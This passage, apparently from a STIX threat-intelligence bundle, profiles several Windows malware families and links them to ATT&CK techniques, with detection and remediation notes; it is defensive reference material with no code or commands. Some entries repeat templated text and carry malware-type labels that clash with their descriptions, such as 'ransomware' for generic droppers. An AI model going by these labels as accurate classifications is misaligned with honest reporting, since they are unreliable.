      "spec_version": "2.1",
      "id": "malware--18f2f8fa-45ee-5304-8e8e-4ca204236635",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ytdownloader",
      "description": "PUA:Win32/Ytdownloader (or generic **YouTube Downloader** heuristics) represents a vast category of Potentially Unwanted Programs (PUAs) marketed as tools to save streaming videos to a local hard drive. While the core video downloading function may work, these applications are notorious for aggressive monetization tactics, bundling severe adware, browser hijackers, and sometimes even silent cryptominers within their installers.<br><br><b>Understanding Ytdownloader PUAs</b><br>To an end-user, downloading a video might seem like a harmless task, but the installation process of these free tools is a minefield. For a security analyst, a Ytdownloader detection is a red flag indicating a user is bypassing corporate acceptable use policies and installing unvetted, high-risk freeware that frequently compromises the endpoint's browser integrity and exposes the network to malvertising.<br><br><b>Execution and Bundling Mechanics</b><br>These tools are distributed heavily via SEO poisoning (ranking high when users search for 'download youtube video') and malvertising (`T1189`). During execution (`T1204.002`), the installer employs 'Dark Patterns'\u2014hiding the adware installation behind 'Express Install' or 'Advanced Options' buttons. If the user clicks 'Next' without reading, the installer drops the downloader tool but also silently installs rogue browser extensions (`T1176`), alters the default search engine, and establishes persistence via Registry Run keys (`T1547.001`). The bundled adware then begins injecting intrusive pop-ups (`T1562`) and tracking all user web activity (`T1185`) to generate affiliate revenue.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, browser hijacking, and potential legal liability (copyright infringement depending on the videos downloaded). IoCs include EDR alerts for the installation of known adware families (often bundled with Ytdownloader) and unauthorized modifications to browser registry keys (`HKLM\\SOFTWARE\\Policies\\Google\\Chrome`). Network logs will show traffic to known adware tracking domains and video streaming sites. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ytdownloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ytdownloader"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cb22aef-2031-5183-9869-e73114aee2a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18f2f8fa-45ee-5304-8e8e-4ca204236635",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytdownloader exhibits technique T1189 (Drive-by Compromise (Bundled Installers via SEO poisoning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fd4f4e2-6d2d-5286-a099-1fbc37d3685b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18f2f8fa-45ee-5304-8e8e-4ca204236635",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytdownloader exhibits technique T1176 (Browser Extensions (Bundled adware extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da58f0c8-1bd5-586c-a97e-02288e89b59b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18f2f8fa-45ee-5304-8e8e-4ca204236635",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytdownloader exhibits technique T1185 (Browser Session Hijacking (Search redirection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9f25dcd-71fd-5d76-b798-80bb8ad9b408",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--18f2f8fa-45ee-5304-8e8e-4ca204236635",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ytdownloader exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--65b616af-8f82-5632-837b-4dc3eb77d50c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yuner",
      "description": "Yuner (documented in threat intelligence research and antivirus catalogs under Virus:Win32/Yuner, Worm:Win32/Yuner, and W32/Yuner) is a landmark polymorphic file-infecting virus and worm that originated in China in 2009. Engineered for aggressive lateral spread, Yuner systematically scans local hard drives, network shares, and removable USB drives for Portable Executable (PE) files. It infects host executables by appending its polymorphic decryptor stub to the last section of legitimate PE files, redirecting the address of entry point (OEP) to execute the viral body before transferring control back to the host program. In addition to parasitic file infection, Yuner creates autorun.inf files on removable media, connects to remote IRC/HTTP servers for distributed denial-of-service (DDoS) commands, and terminates antivirus software processes to maintain persistent dominance over infected systems. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Yuner",
        "Worm:Win32/Yuner",
        "Virus.Win32.Yuner",
        "Win32/Yuner",
        "W32/Yuner",
        "Virus:Win32/Yuner.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yuner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yuner"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7e36e0c6-c291-5dbf-8c5b-8b78675b6d10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yunsip",
      "description": "Yunsip (tracked across security vendor definitions as PWS:Win32/Yunsip, Trojan:Win32/Yunsip, and PWS:Win32/Yunsip.A) is an aggressive credential-stealing trojan and secondary loader targeting Windows endpoints since 2013. Designed to harvest authentication material from infected workstations, Yunsip systematically scans web browser data stores (including Google Chrome, Mozilla Firefox, and Internet Explorer/Edge), email clients, and FTP configuration files to locate saved passwords, session cookies, and user autofill databases. In addition to credential extraction, Yunsip establishes persistent communication with remote command-and-control servers over HTTP/HTTPS, enabling attackers to deploy secondary malware payloads such as keyloggers, remote access backdoors, or cryptominers. The malware achieves persistence by creating autostart registry entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and registering scheduled tasks disguised as legitimate Windows update services. (Observed samples in benchmark: 280)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Yunsip",
        "Trojan:Win32/Yunsip",
        "PWS:Win32/Yunsip.A",
        "Trojan.Yunsip",
        "Win32/Yunsip"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yunsip",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yunsip"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e171a855-e1f2-52fe-a6d8-6190b4e5367b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e36e0c6-c291-5dbf-8c5b-8b78675b6d10",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yunsip exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd2058a3-dd84-5c7f-b26d-60d2226bbcd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e36e0c6-c291-5dbf-8c5b-8b78675b6d10",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yunsip exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e72083df-ef9b-558a-bd9b-86e0440c57b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e36e0c6-c291-5dbf-8c5b-8b78675b6d10",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yunsip exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac3c9d58-2143-5892-8236-7de9975963fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e36e0c6-c291-5dbf-8c5b-8b78675b6d10",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yunsip exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e66d37d4-152b-5df3-86d8-e5bb507192df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e36e0c6-c291-5dbf-8c5b-8b78675b6d10",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yunsip exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1ff32d9c-67e9-55c7-adb9-802b9ffa376e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yuri",
      "description": "<h3>Executive Summary</h3>\nYuri is a highly dangerous Remote Access Trojan (RAT) and Backdoor. Its primary objective is to silently infiltrate a Windows workstation or server, establish an encrypted command-and-control (C2) channel, and grant a remote attacker full, interactive, administrative control over the compromised endpoint, effectively bypassing all local security controls.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nYuri is typically deployed via highly targeted spear-phishing campaigns (often utilizing malicious macros in Office documents), drive-by downloads from compromised websites, or installed directly by an attacker who has gained initial access via compromised RDP credentials.\n\nOnce executed, Yuri provides a comprehensive suite of espionage and control features:\n<ul>\n<li><strong>Interactive Shell Access:</strong> The RAT provides the attacker with a hidden, interactive command-line interface (reverse shell). The attacker can execute arbitrary system commands, manipulate the registry, and manage running processes as if they were sitting at the keyboard.</li>\n<li><strong>Surveillance and Espionage:</strong> Yuri typically includes modules for live audio/video capture (hijacking the webcam and microphone), capturing desktop screenshots, and a built-in keylogger to steal passwords and monitor user activity in real-time.</li>\n<li><strong>Lateral Movement Platform:</strong> A compromised machine running a RAT acts as a perfect beachhead for lateral movement. The attacker can utilize Yuri's file management capabilities to upload port scanners, credential dumping tools (like Mimikatz), and additional exploits to attack other servers within the corporate network.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Yuri infection is a critical \"glass break\" security incident. The presence of a functional RAT indicates that an attacker has complete sovereignty over the endpoint. Confidentiality, Integrity, and Availability of the data on that machine (and potentially the entire network) are entirely compromised.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Severing the C2 connection is the absolute highest priority. Disconnect the infected machine from the network immediately to cut off the attacker's interactive access.</li>\n<li><strong>Hunt for Lateral Movement:</strong> Assume the attacker has already used the RAT to pivot. Incident responders must analyze network traffic logs (NetFlow, firewall logs) originating from the infected IP address to identify other potentially compromised internal hosts.</li>\n<li><strong>Bare-Metal Re-imaging:</strong> Due to the extensive, interactive control a RAT provides, it is impossible to guarantee that a system has been \"cleaned\" manually. The attacker likely installed secondary backdoors. The only secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Yuri",
        "RAT.Yuri",
        "Win32/Yuri"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yuri",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yuri"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd721997-9ef0-5131-a3d9-8880639264d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ff32d9c-67e9-55c7-adb9-802b9ffa376e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yuri exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--224a6794-c802-58b6-a2fb-0b5d6514b668",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ff32d9c-67e9-55c7-adb9-802b9ffa376e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yuri exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb15e7e3-6294-5c63-8f6c-1bcc5a1fa611",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ff32d9c-67e9-55c7-adb9-802b9ffa376e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yuri exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a41aaf7b-7541-5881-8ac3-5a4d7e0f11a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ff32d9c-67e9-55c7-adb9-802b9ffa376e",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yuri exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ecaa56fe-4ed5-58dd-805f-c771e8a65d5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yy0Aueeqipni",
      "description": "Trojan:Win32/Yy0aueeqipni (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Yy0aueeqipni' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yy0Aueeqipni",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yy0aueeqipni"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--343d180f-d4df-5ccf-a763-52d8581253d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecaa56fe-4ed5-58dd-805f-c771e8a65d5a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yy0Aueeqipni exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9be2a35-c094-5665-b36b-77240e05bff8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecaa56fe-4ed5-58dd-805f-c771e8a65d5a",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yy0Aueeqipni exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e26d0fa-405c-5d58-b5d4-b968406e0bcf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ecaa56fe-4ed5-58dd-805f-c771e8a65d5a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yy0Aueeqipni exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b41c635b-3d4e-56cf-8742-feadebdbf72d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yywaa08Jovdg",
      "description": "Trojan:Win32/Yywaa08jovdg (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Yywaa08jovdg' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names (e.g., `ajkf83nd.com`, `93kmdla.net`). The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yywaa08Jovdg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yywaa08jovdg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--671371b4-bb7f-5d75-99fd-811cdbe2ae3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b41c635b-3d4e-56cf-8742-feadebdbf72d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yywaa08Jovdg exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bae35967-8bfd-56b0-82e3-aa66a5512901",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b41c635b-3d4e-56cf-8742-feadebdbf72d",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yywaa08Jovdg exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a431813-aab1-57dc-9cf9-e8e25c1f7093",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b41c635b-3d4e-56cf-8742-feadebdbf72d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yywaa08Jovdg exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1320fa16-5876-5a57-972b-5156dc232d0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Z_Dem0N",
      "description": "Z-dem0n (often styled as Z-dem0n, Z-Demon, or Backdoor.Win32.ZDemon) is an early-2000s Remote Access Trojan created in Delphi around 2002 by a developer using the handle 'ZnAsH'. Operating over direct TCP connections, Z-dem0n was engineered to provide unauthorized operators with administrative control over compromised Windows endpoints. Once executed on a target host, the server binary copies itself into system folders, configures persistence via Windows registry Run keys, and listens on a pre-configured port for incoming connections. The trojan provided comprehensive remote administration capabilities, including remote file system browsing, file upload and download, process enumeration and termination, registry hive manipulation, desktop screenshot capture, and keystroke logging.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Z-dem0n",
        "Z-Demon",
        "Backdoor.ZDemon",
        "Z-Dem0n by ZnAsH",
        "Backdoor:Win32/ZDemon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Z_Dem0N",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/z_dem0n"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--745b5c45-6de1-5118-998c-1f4ab467c8e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1320fa16-5876-5a57-972b-5156dc232d0b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Z_Dem0N exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0fda5ee-2172-583a-9fcd-72400cdff69e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1320fa16-5876-5a57-972b-5156dc232d0b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Z_Dem0N exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b6c517e-4760-5918-81b0-176386e2508f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1320fa16-5876-5a57-972b-5156dc232d0b",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Z_Dem0N exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8a97484-0394-51b5-9c79-c3ae120d1e65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1320fa16-5876-5a57-972b-5156dc232d0b",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Z_Dem0N exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--075911e1-78d3-5df4-9438-4c27c95b93b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1320fa16-5876-5a57-972b-5156dc232d0b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Z_Dem0N exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6bd4da01-2c11-5088-9980-b5a410997ab7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Za0Au42Rofm",
      "description": "<h3>Executive Summary</h3>\n\"za0au42rofm\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> za0au42rofm typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the 